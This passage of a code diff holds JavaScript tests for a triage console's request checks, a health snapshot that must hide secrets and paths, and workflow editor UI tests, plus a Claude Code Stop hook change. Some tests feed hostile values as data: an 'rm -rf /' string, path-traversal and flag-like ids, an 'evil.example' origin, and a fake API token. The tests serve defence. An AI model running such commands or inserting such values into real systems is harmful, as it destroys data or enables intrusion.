assert.deepEqual(read.json.snapshot, { snapshotVersion: 1, at: '2026-11-16T00:00:00.000Z' });
const sent = await send(f.port, '/api/triage/message', { method: 'POST', headers: f.headers, body: { text: 'hello' } });
assert.deepEqual([sent.status, sent.json.error], [409, 'triage-no-route']);
assert.equal(host.running, false);
assert.equal(existsSync(host.paths.transcript), false, 'a refused message is not written');
assert.equal(JSON.parse(readFileSync(join(host.paths.health, 'snapshot.json'), 'utf8')).snapshotVersion, 1, 'the read wrote the snapshot');
});
test('the route module keeps its own write checks when called alone: --send, one exact Origin, one same-origin Fetch Metadata', async () => {
const triage = fakeTriage();
const call = async (headers, { send = true } = {}) => {
const distinct = Object.fromEntries(Object.entries(headers).map(([k, v]) => [k, [v].flat()]));
const req = { method: 'POST', headers: Object.fromEntries(Object.entries(headers).map(([k, v]) => [k, [v].flat()[0]])), headersDistinct: distinct,
async *[Symbol.asyncIterator]() { yield Buffer.from('{"text":"hi"}'); } };
let status = null, body = '';
const res = { writeHead: s => { status = s; }, end: b => { body = b; } };
await triageHTTP(req, res, { path: '/api/triage/message', triage, send, origin: 'https://console.example' });
return [status, JSON.parse(body).error ?? 'ok'];
};
const good = { origin: 'https://console.example', 'sec-fetch-site': 'same-origin', 'content-type': 'application/json' };
assert.deepEqual(await call(good, { send: false }), [403, 'read-only']);
assert.deepEqual(await call({ ...good, origin: 'https://evil.example' }), [403, 'cross-origin request refused']);
assert.deepEqual(await call({ ...good, origin: ['https://console.example', 'https://console.example'] }), [403, 'cross-origin request refused']);
const { origin, ...noOrigin } = good;
assert.deepEqual(await call(noOrigin), [403, 'cross-origin request refused']);
assert.deepEqual(await call({ ...good, 'sec-fetch-site': ['same-origin', 'same-origin'] }), [403, 'cross-site request refused']);
assert.deepEqual(triage.calls, []);
assert.deepEqual(await call(good), [202, 'ok']);
});
@@ -0,0 +1,194 @@
// #1873 triage-host: the health snapshot keeps a fixed field list. States, times, counts and codes
// only; a failed system config check leaves no path, token or stderr text in it.
import { test } from "node:test";
import assert from "node:assert/strict";
import { mkdtempSync, mkdirSync, writeFileSync, readFileSync, statSync, readdirSync } from "node:fs";
import { join } from "node:path";
import {
NOT_READ, SNAPSHOT_FIELDS, SYSTEM_CONFIG_CODES, ORG_CONFIG_CODES, ORG_READS_AT_ONCE, composeSnapshot, readSystemConfig, readOrgConfig,
runExitOnly, systemConfigCode, writeSnapshot, busFields, proxyFields,
} from "../src/triage-snapshot.mjs";
const scratch = () => mkdtempSync(join(process.env.TMPDIR, "ts-"));
const SECRET = "sk-ant-TRIAGESECRET0123456789";
const cliError = (message) => Object.assign(new Error(message), { name: "CliError", exitCode: 3 });
function assertClean(snapshot, ...needles) {
const text = JSON.stringify(snapshot);
for (const n of needles) assert.ok(!text.includes(n), `snapshot holds ${n}`);
assert.ok(!text.includes("mosaic-config"), "snapshot holds stderr text");
assert.ok(!/\/(home|mnt|tmp|srv)\//.test(text), "snapshot holds a host path");
}
test("a failed system config check (real validator, bad JSON) leaves no path, token or stderr text", async () => {
const dir = scratch();
const config = join(dir, `config-${SECRET}.json`);
writeFileSync(config, `{"configVersion": 1, "token": "${SECRET}",`);
const env = { PATH: process.env.PATH, HOME: dir, MOSAIC_CONFIG: config, LANG: "C.UTF-8" };
const systemConfig = await readSystemConfig({ env });
assert.notEqual(systemConfig, NOT_READ);
assert.equal(systemConfig.valid, false);
assert.ok(Number.isInteger(systemConfig.exit) && systemConfig.exit !== 0);
assert.ok(SYSTEM_CONFIG_CODES.includes(systemConfig.code), `code ${systemConfig.code} is on the fixed list`);
const snap = await composeSnapshot({ systemConfig: () => systemConfig });
assertClean(snap, SECRET, dir, config);
const file = writeSnapshot(dir, snap);
assertClean(readFileSync(file, "utf8"), SECRET, dir);
});
test("a missing config and an unsupported key are refused by code, never by the validator's words", async () => {
const dir = scratch();
const missing = await readSystemConfig({ env: { PATH: process.env.PATH, HOME: dir, MOSAIC_CONFIG: join(dir, "absent.json") } });
assert.deepEqual(missing, { valid: false, exit: 3, code: "config-not-found" });
const config = join(dir, "c.json");
writeFileSync(config, JSON.stringify({ configVersion: 1, [SECRET]: true }));
const odd = await readSystemConfig({ env: { PATH: process.env.PATH, HOME: dir, MOSAIC_CONFIG: config } });
assert.equal(odd.valid, false);
assert.ok(SYSTEM_CONFIG_CODES.includes(odd.code));
assertClean(await composeSnapshot({ systemConfig: () => odd }), SECRET, dir);
});
test("the stderr mapping keeps only a fixed code, whatever the line says", () => {
assert.equal(systemConfigCode(0, "anything"), null);
assert.equal(systemConfigCode(2, "mosaic-config: instance-root-mismatch: /home/x/.mosaic-dev is claimed"), "instance-root-mismatch");
assert.equal(systemConfigCode(3, "mosaic-config: configuration not found: /home/x/config.json"), "config-not-found");
assert.equal(systemConfigCode(2, `mosaic-config: ${SECRET}`), "config-invalid");
assert.equal(systemConfigCode(9, "/home/x/secret"), "config-check-failed");
assert.equal(systemConfigCode(2, "mosaic-config: not-a-code: x"), "config-invalid");
});
test("a child's stdout is never read and stderr only when asked", async () => {
const script = `process.stdout.write(${JSON.stringify(SECRET)}); process.stderr.write("line one ${SECRET}\\nline two"); process.exit(2)`;
const quiet = await runExitOnly([process.execPath, "-e", script], { env: { PATH: process.env.PATH } });
assert.deepEqual(quiet, { exit: 2, firstLine: "" });
const told = await runExitOnly([process.execPath, "-e", script], { env: { PATH: process.env.PATH }, stderr: true });
assert.equal(told.exit, 2);
assert.ok(!JSON.stringify(told).includes("line two"));
assert.equal(await runExitOnly([process.execPath, "-e", "setTimeout(() => {}, 10000)"], { env: {}, timeoutMs: 200 }), null);
assert.equal(await runExitOnly([join(scratch(), "absent")], { env: {} }), null);
});
test("a system config check that does not reach an exit says not read", async () => {
assert.equal(await readSystemConfig({ run: async () => null }), NOT_READ);
const snap = await composeSnapshot({ systemConfig: () => readSystemConfig({ run: async () => null }) });
assert.equal(snap.systemConfig, NOT_READ);
});
test("the org config check keeps its exit code only, and never runs for an id outside the pattern", async () => {
const calls = [];
const run = async (argv, opts) => { calls.push([argv.slice(-2), opts.stderr]); return { exit: 2, firstLine: SECRET }; };
assert.deepEqual(await readOrgConfig("alpha", { run }), { valid: false, exit: 2, code: "org-config-invalid" });
assert.deepEqual(calls, [[["validate", "alpha"], false]]);
assert.equal(await readOrgConfig("../etc", { run }), NOT_READ);
assert.equal(await readOrgConfig("--help", { run }), NOT_READ);
assert.equal(calls.length, 1);
assert.ok(ORG_CONFIG_CODES.includes("org-config-check-failed"));
});
test("the snapshot holds the fixed field list and nothing a reader adds", async () => {
const now = () => new Date("2026-11-16T12:00:00.000Z");
const snap = await composeSnapshot({
orgs: async () => [
{ id: "alpha", state: "active", root: "/home/x/orgs/alpha" },
{ id: "beta", state: "active", root: "/srv/beta" },
{ id: "gone", state: "archived", root: "/home/x/gone" },
{ id: "../bad", state: "active" },
],
busStatus: async (id) => {
if (id === "beta") throw cliError("stale bus host lock at /home/x/orgs/beta/bus.lock");
return { healthy: true, pid: 4242, boot: { ok: true, at: "2026-11-16T11:00:00.000Z", log: "/home/x/boot.log" }, root: "/home/x/orgs/alpha", socket: "/home/x/s.sock" };
},
processing: async (id) => (id === "alpha" ? { halted: false, invalid: false, reason: SECRET } : { nonsense: 1 }),
orgConfig: async () => ({ valid: true, exit: 0, code: null, stderr: SECRET }),
proxy: async () => ({ unit: { installed: true, active: "active", healthy: true, error: SECRET, path: "/home/x" }, init: { initialized: true, file: "/home/x" }, fence: { set: false, key: SECRET } }),
systemConfig: async () => ({ valid: true, exit: 0, code: null, path: "/home/x/config.json" }),
}, { now });
assert.deepEqual(Object.keys(snap), SNAPSHOT_FIELDS);
assert.deepEqual(snap, {
snapshotVersion: 1,
at: "2026-11-16T12:00:00.000Z",
console: { state: "answering", at: "2026-11-16T12:00:00.000Z" },
proxy: { initialized: true, installed: true, active: "active", healthy: true, fence: false },
systemConfig: { valid: true, exit: 0, code: null },
organizations: {
count: 2,
list: [
{ id: "alpha", bus: { state: "running", lastStart: { ok: true, at: "2026-11-16T11:00:00.000Z" } }, processing: { halted: false, invalid: false }, config: { valid: true, exit: 0, code: null } },
{ id: "beta", bus: { state: "dead", lastStart: null }, processing: NOT_READ, config: { valid: true, exit: 0, code: null } },
],
},
});
assertClean(snap, SECRET, "4242");
});
test("every failed or missing read says not read, and a read that hangs is cut off", async () => {
const hang = () => new Promise(() => {});
const snap = await composeSnapshot({
orgs: async () => [{ id: "alpha", state: "active" }],
busStatus: async () => { throw new Error("EACCES /home/x"); },
processing: hang,
orgConfig: async () => { throw new Error(SECRET); },
proxy: hang,
}, { timeoutMs: 100 });
assert.equal(snap.proxy, NOT_READ);
assert.equal(snap.systemConfig, NOT_READ);
assert.deepEqual(snap.organizations.list, [{ id: "alpha", bus: NOT_READ, processing: NOT_READ, config: NOT_READ }]);
assert.equal((await composeSnapshot({ orgs: async () => { throw new Error("x"); } })).organizations, NOT_READ);
assert.equal((await composeSnapshot({})).organizations, NOT_READ);
assertClean(snap, SECRET);
});
test("bus and proxy reads outside their shapes say not read; unknown unit states are unknown", () => {
assert.equal(busFields({ pid: 3 }), NOT_READ);
assert.deepEqual(busFields({ healthy: false, pid: 3 }), { state: "not-answering", lastStart: null });
assert.deepEqual(busFields({ healthy: false, pid: null, boot: { ok: false, at: "yesterday" } }), { state: "stopped", lastStart: null });
assert.equal(proxyFields({}), NOT_READ);
assert.equal(proxyFields({ unit: { installed: false, active: "rm -rf /", healthy: false } }).active, "unknown");
});
test("the snapshot file is one 0600 file, replaced whole", () => {
const dir = scratch();
mkdirSync(join(dir, "health"), { mode: 0o700 });
writeSnapshot(join(dir, "health"), { snapshotVersion: 1, n: 1 });
const file = writeSnapshot(join(dir, "health"), { snapshotVersion: 1, n: 2 });
assert.equal(statSync(file).mode & 0o777, 0o600);
assert.deepEqual(readdirSync(join(dir, "health")), ["snapshot.json"]);
assert.equal(JSON.parse(readFileSync(file, "utf8")).n, 2);
});
test("organizations are read at most ORG_READS_AT_ONCE at a time and listed in registry order", async () => {
let live = 0, most = 0;
const ids = Array.from({ length: 10 }, (_, i) => `org${i}`);
const slow = async () => { live++; most = Math.max(most, live); await new Promise((r) => setTimeout(r, 5)); live--; return { valid: true, exit: 0, code: null }; };
const snap = await composeSnapshot({ orgs: async () => ids.map((id) => ({ id, state: "active" })), orgConfig: slow });
assert.equal(ORG_READS_AT_ONCE, 4);
assert.equal(most, ORG_READS_AT_ONCE);
assert.deepEqual(snap.organizations.list.map((o) => o.id), ids);
assert.equal(snap.organizations.count, 10);
});
test("the organization reads share one deadline: forty hung organizations take one timeout, not ten", async () => {
let calls = 0;
const ids = Array.from({ length: 40 }, (_, i) => `org${i}`);
const hang = () => { calls++; return new Promise(() => {}); };
const began = Date.now();
const snap = await composeSnapshot({ orgs: async () => ids.map((id) => ({ id, state: "active" })), busStatus: hang, processing: hang, orgConfig: hang }, { timeoutMs: 200 });
const took = Date.now() - began;
assert.ok(took < 800, `took ${took} ms`);
assert.ok(calls < ids.length, `${calls} reads began`);
assert.equal(snap.organizations.count, 40);
assert.deepEqual(snap.organizations.list.map((o) => o.id), ids);
for (const o of snap.organizations.list) assert.deepEqual([o.bus, o.processing, o.config], [NOT_READ, NOT_READ, NOT_READ], o.id);
});
test("an organization begun late gets only what is left of the deadline", async () => {
const ids = ["a0", "a1", "a2", "a3", "a4"];
const hang = () => new Promise(() => {});
// Three readers hang; a3 answers after 300 ms, and the worker that read it starts a4 with 100 ms left.
const orgConfig = (id) => (id === "a3" ? new Promise((r) => setTimeout(() => r({ valid: true, exit: 0, code: null }), 300)) : hang());
const began = Date.now();
const snap = await composeSnapshot({ orgs: async () => ids.map((id) => ({ id, state: "active" })), orgConfig }, { timeoutMs: 400 });
const took = Date.now() - began;
assert.ok(took < 600, `took ${took} ms`);
assert.deepEqual(snap.organizations.list.map((o) => [o.id, o.config === NOT_READ ? "not read" : "read"]), [["a0", "not read"], ["a1", "not read"], ["a2", "not read"], ["a3", "read"], ["a4", "not read"]]);
});
@@ -87,7 +87,7 @@ function organizations(reads, st) {
const workflowsRead = async () => {
reads.push(id);
if (st.failRead) throw Object.assign(new Error('org-unavailable'), { code: 'org-unavailable' });
const answer = { revision: st.revs[id], document: structuredClone(st.docs[id] ?? {}), templates: ['writer'] };
const answer = { revision: st.revs[id], document: structuredClone(st.docs[id] ?? {}), templates: ['writer', 'triage'] };
const h = st.held.read; if (h) { st.held.read = null; await h; }
return answer;
};
@@ -976,6 +976,46 @@ test('SP17: while a Save is in flight the form takes no typing, and takes it aga
assert.equal(await b.evaluate(`document.querySelector('${form} input[name="title"]').value`), 'Ship again');
});
// #1873 triage-drawer item 6: the Triage template is system-only. The picker never offers it, and a step
// that names it is marked and named by the save check, as any role the organization cannot hold.
test('the step picker does not offer the triage template, and a step naming it is marked and refused before the bus', { timeout: 60000 }, async t => {
const { b, wait, st } = await setup(t, { path: '#/orgs/acme/workflows/change?step=1' });
await wait(`!!document.querySelector('${form}')`, 'step 1 form');
assert.equal(await b.evaluate(`document.querySelector('${form} input[name="role"][value="triage"]')`), null, 'not in the edit form');
await b.evaluate(press('[data-wfg-add]'));
await wait(`!!document.querySelector('[data-wfg-add-form]')`, 'add form');
assert.equal(await b.evaluate(`document.querySelector('[data-wfg-add-form] input[name="role"][value="triage"]')`), null, 'not in the add form');
assert.doesNotMatch(await b.evaluate(text('[data-wfg-add-form] [data-wfg-roles-pick]')), /triage/);
await b.evaluate(press('[data-wfg-add-form] [data-wfg-cancel]'));
st.change('acme', doc => { doc.workflows.sorted = { steps: [{ title: 'Sort', state: 'todo', roles: ['triage'] }] }; });
await b.evaluate(`location.hash = '#/orgs/acme/workflows/sorted?step=1'`);
await wait(`!!document.querySelector('${form}') && document.querySelectorAll('[data-wfg-graph] [data-wfg-missing]').length === 1`, 'triage marked in the graph');
assert.match(await b.evaluate(text(`${form} [data-wfg-roles-pick]`)), /triage names no current role/);
await b.evaluate(fill(`${form} input[name="title"]`, 'Sort it'));
await b.evaluate(press('[data-wfg-save]'));
await wait(`/Step 1: triage names no current role/.test(${text('[data-wfg-status]')})`, 'refused on the page');
assert.equal(st.writes.length, 0, 'nothing sent');
});
// #1873 triage-drawer item 6: an add form in which only the state was changed is not closed without a word.
test('Save with only the state changed in the add form says so and keeps the form', { timeout: 60000 }, async t => {
const { b, wait, st } = await setup(t, { path: '#/orgs/acme/workflows/change?project=site&step=1' });
await retitle(b, wait, 1, 'Build it');
await b.evaluate(press('[data-wfg-add]'));
await wait(`!!document.querySelector('[data-wfg-add-form]')`, 'add form');
await b.evaluate(`(()=>{const e=document.querySelector('[data-wfg-add-form] select[name="state"]');e.value='in-review';e.dispatchEvent(new Event('input',{bubbles:true}));return true})()`);
await b.evaluate(press('[data-wfg-bar] [data-wfg-save]'));
await wait(`/new step 2 is not added yet/.test(${text('[data-wfg-bar] [data-wfg-status]')})`, 'said in words');
assert.equal(st.writes.length, 0, 'nothing written');
assert.equal(await b.evaluate(`document.querySelector('[data-wfg-add-form] select[name="state"]')?.value`), 'in-review', 'the form is kept as set');
// Cancel drops it; Save then saves the rest.
await b.evaluate(press('[data-wfg-add-form] [data-wfg-cancel]'));
await wait(`!document.querySelector('[data-wfg-add-form]')`, 'add form closed');
await b.evaluate(press('[data-wfg-save]'));
await wait(`/Saved change\\./.test(${text('[data-wfg-status]')})`, 'saved');
assert.deepEqual(st.writes.at(-1).args.workflow.steps.map(s => s.title), ['Build it', 'Ship']);
});
// SP17 review 2 P2-1: a new step typed in the add form is not dropped by the bar's Save: Save says it is not
// added yet and keeps the form; once added, Save sends it.
test('SP17: the bar Save with a new step typed in the add form says so and keeps it, and saves it once added', { timeout: 60000 }, async t => {
+8 -3
View File
@@ -113,9 +113,14 @@ lists.
can write. The counts are the session's own report, not host evidence.
- The extension's per-reply dedupe is in memory. After a restart the same
reply can get a second notice.
- On the first turn of a new Claude Code session the transcript may not
hold the reply when Stop runs; the hook then checks
`last_assistant_message` and logs an empty `entryId`.
- Claude Code can run the Stop hook before it writes the turn to the
transcript (seen on 2.1.319 to 2.1.325, on any turn). The hook reads the
transcript again until its last reply matches `last_assistant_message`,
for up to 2 s. If it never does, the hook checks `last_assistant_message`
alone, logs an empty `entryId` and `late: true`, and the turn's earlier
replies go unchecked. Two stale cases remain: a hook input with no
`last_assistant_message`, and a reply whose text equals the last turn's
last reply. Either can log the last turn's replies again.
- The word/phrase lists are the mechanical subset of ms-unslop only, keyed to
pattern ids in lists.json. Style judgments (voice, rhythm, structure) stay in
the skill, not the gate.
+33 -7
View File
@@ -77,19 +77,45 @@ function check(text, at) {
}
}
function stop(input) {
const list = entries(input.transcript_path);
// The assistant messages with text since the transcript's last prompt.
function turnReplies(path) {
const list = entries(path);
let start = -1;
list.forEach((e, i) => { if (isPrompt(e)) start = i; });
const turn = replies(list.slice(start + 1));
if (!turn.length && typeof input.last_assistant_message === "string" && input.last_assistant_message.trim()) {
turn.push({ id: "", text: input.last_assistant_message });
return replies(list.slice(start + 1));
}
// Claude Code can run the Stop hook before it writes the turn to the transcript, so the
// transcript may still end with the last turn. Read it again until its last reply is the one
// the hook input names, for up to STOP_WAIT_MS (the hook's own limit is 10 s). A transcript that
// never catches up gives last_assistant_message alone, logged with late: true so a release where
// it never matches shows in the log.
// Two stale cases remain: an input with no last_assistant_message is not waited for, and a reply
// whose text equals the last turn's last reply matches a stale transcript at once. Either can log
// the last turn's replies again.
const STOP_WAIT_MS = 2000;
const flat = (s) => s.replace(/\s+/g, "");
const pause = (ms) => Atomics.wait(new Int32Array(new SharedArrayBuffer(4)), 0, 0, ms);
function stop(input) {
const told = typeof input.last_assistant_message === "string" && input.last_assistant_message.trim() ? input.last_assistant_message : null;
const deadline = Date.now() + STOP_WAIT_MS;
let turn = turnReplies(input.transcript_path), late = false;
while (told !== null && !(turn.length && flat(turn.at(-1).text) === flat(told))) {
if (Date.now() >= deadline) {
turn = [{ id: "", text: told }];
late = true;
break;
}
pause(25);
turn = turnReplies(input.transcript_path);
}
for (const r of turn) {
const result = check(r.text, "stop");
if (result === null) return;
if (result.clean) log({ ev: "checked", clean: true, entryId: r.id, charsChecked: result.charsChecked });
else log({ ev: "flagged", clean: false, entryId: r.id, charsChecked: result.charsChecked, findings: result.findings });
const extra = late ? { late: true } : {};
if (result.clean) log({ ev: "checked", clean: true, entryId: r.id, charsChecked: result.charsChecked, ...extra });
else log({ ev: "flagged", clean: false, entryId: r.id, charsChecked: result.charsChecked, findings: result.findings, ...extra });
}
}
+38
View File
@@ -302,6 +302,44 @@ t("claude-hook: a broken lists.json logs broken_lists and no verdict; bad input
assert.deepStrictEqual(events(bad).map((e) => e.ev), ["hook_failed"]);
});
// Claude Code can run the Stop hook before it writes the turn to the transcript (seen on 2.1.319,
// 2.1.322 and 2.1.325). The hook then saw the last turn's reply and logged it again.
const jsonl = (list) => list.map((x) => JSON.stringify(x)).join("\n") + "\n";
const lastTurn = [
{ type: "user", uuid: "p1", message: { role: "user", content: "status?" } },
line("assistant", "m1", "a1", [{ type: "text", text: "The build is green." }]),
];
const TELL_REPLY = "Let me delve into it. A pivotal step.";
t("claude-hook: Stop waits for a late transcript and checks this turn's reply, not the last turn's", () => {
const transcript = writeTmp("transcript-late.jsonl", jsonl(lastTurn));
const late = writeTmp("transcript-late-tail.jsonl", jsonl([
{ type: "user", uuid: "p2", message: { role: "user", content: "and now?" } },
line("assistant", "m2", "a2", [{ type: "text", text: TELL_REPLY }]),
]));
const log = tmp("hook-late.jsonl");
// The writer runs on its own while the hook blocks, as claude's transcript writer does.
const writer = require("node:child_process").spawn("sh", ["-c", 'sleep 0.3; cat "$1" >> "$2"', "sh", late, transcript], { stdio: "ignore" });
const r = hook("stop", { transcript_path: transcript, last_assistant_message: TELL_REPLY }, { MOSAIC_UNSLOP_LOG: log });
writer.kill();
assert.strictEqual(r.status, 0, r.stderr);
assert.deepStrictEqual(events(log).map((e) => [e.ev, e.entryId]), [["flagged", "a2"]]);
});
t("claude-hook: Stop with a transcript that never catches up checks last_assistant_message alone", () => {
const transcript = writeTmp("transcript-stale.jsonl", jsonl(lastTurn));
const log = tmp("hook-stale.jsonl");
const r = hook("stop", { transcript_path: transcript, last_assistant_message: TELL_REPLY }, { MOSAIC_UNSLOP_LOG: log });
assert.strictEqual(r.status, 0, r.stderr);
assert.deepStrictEqual(events(log).map((e) => [e.ev, e.entryId, e.late]), [["flagged", "", true]]);
// A turn already in the transcript is checked at once, with its entry id.
const now = tmp("hook-current.jsonl");
const started = Date.now();
hook("stop", { transcript_path: transcript, last_assistant_message: "The build is green." }, { MOSAIC_UNSLOP_LOG: now });
assert.ok(Date.now() - started < 1500, "no wait when the transcript is current");
assert.deepStrictEqual(events(now).map((e) => [e.ev, e.entryId, e.late]), [["checked", "a1", undefined]]);
});
let failed = 0;
for (const [name, ok] of results) { console.log(`${ok ? "PASS" : "FAIL"} ${name}`); if (!ok) failed++; }
console.log(`${results.length - failed}/${results.length} passed`);